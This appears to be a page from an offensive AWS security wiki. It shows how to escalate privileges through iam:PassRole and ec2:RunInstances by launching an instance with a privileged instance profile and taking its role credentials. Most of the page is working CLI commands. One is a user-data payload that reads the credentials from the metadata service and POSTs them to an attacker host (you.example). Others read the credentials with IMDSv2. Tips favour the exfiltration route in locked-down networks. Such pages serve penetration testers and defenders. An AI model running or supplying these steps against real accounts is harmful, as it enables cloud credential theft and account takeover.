With iam:PassRole and ec2:RunInstances (plus iam:PassRole on a role whose trust policy allows ec2.amazonaws.com), you launch an instance that carries a privileged instance profile. Once it boots, the instance metadata service hands out that role's credentials, and you read them because you control the instance.
Launching with a passed role#
# the instance profile wraps the privileged role
aws ec2 run-instances \
--image-id ami-xxxxxxxx --instance-type t3.micro \
--iam-instance-profile Name=<privileged-instance-profile> \
--key-name <yourkey> --security-group-ids <sg>
If you do not need network access to the box, pass a user-data script that exfiltrates the credentials to you on boot, so you never need SSH:
aws ec2 run-instances --image-id ami-xxxx --instance-type t3.micro \
--iam-instance-profile Name=<privileged-instance-profile> \
--user-data "$(printf '#!/bin/bash\ncurl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/<role> | curl -X POST -d @- https://you.example')"
Reading the credentials on the instance#
# IMDSv2 token then the role credentials
TOKEN=$(curl -sX PUT http://169.254.169.254/latest/api/token -H 'X-aws-ec2-metadata-token-ttl-seconds: 60')
curl -s -H "X-aws-ec2-metadata-token: $TOKEN" \
http://169.254.169.254/latest/meta-data/iam/security-credentials/<role>
Those keys are the privileged role's; export them and continue as that role.
Exploitation notes#
- The role's trust policy must allow EC2; roles built as instance profiles already do, so any instance-profile role in the account is a candidate.
- Prefer the user-data exfiltration variant in a locked-down VPC where you cannot reach the instance directly.
- See instance metadata for the IMDSv1/v2 and SSRF retrieval detail, and EC2 user data for the boot-script path in depth.
Tools#
- AWS CLI (
ec2 run-instances): the launch itself. - Pacu (
ec2__startup_shell_script): automates the user-data credential-steal variant.